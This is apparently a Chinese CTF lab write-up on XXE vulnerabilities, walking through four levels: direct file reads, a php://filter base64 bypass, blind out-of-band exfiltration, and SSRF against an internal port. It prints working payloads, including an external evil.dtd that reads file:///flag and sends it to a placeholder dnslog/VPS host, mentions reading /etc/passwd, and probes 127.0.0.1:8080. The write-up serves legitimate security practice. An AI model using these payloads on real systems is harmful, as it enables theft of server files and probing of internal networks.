CTF靶场学习-XXE漏洞篇

XXE漏洞1(无限制)

XXE特征:在HTTP的Request报文出现一下请求报文,即表明此时是采用XML进行数据传输,就可以测试是否存在XML漏洞。

默认xxe,没有任何限制,可以直接读取flag

XXE漏洞2(限制读取flag,etc可正常读取)

读取etc/passwd正常,但是读取flag回显0

使用php://filter伪协议进行读取

读取后进行Base64解密即可

XXE漏洞3(无回显,远程读取)

使用xxe payload进行读取,后端不返回任何数据,这时候需要使用远程加载的方式进行读取

将file:///flag 处修改为dnslog地址即可,查看dnslog是否有请求数据

dnslog可成功回显

在服务器上创建 evil.dtd文件
evil.dtd文件代码

复制代码
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://Dnslog地址?p=%file;'>">

XXE payload 代码

复制代码
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://VPS地址+端口/evil.dtd">
%remote;%int;%send;
]>
<root><username>&send;</username><password>root</password>
</root>

对?p=后面的base64进行解密即可

XXE漏洞4(内网文件读取)

查看题目提示,本题是需要对内网进行读取

读取etchost,查看是否能成功回显

可成功回显,将读取的文件修改为本地端口
XXE payload 代码

复制代码
<?xml version="1.0"?>
<!DOCTYPE a[
<!ENTITY b SYSTEM "http://127.0.0.1:8080">
]>
<user><username>&b;</username><password>admin</password></user>

将端口进行添加关键字,进行爆破,获取flag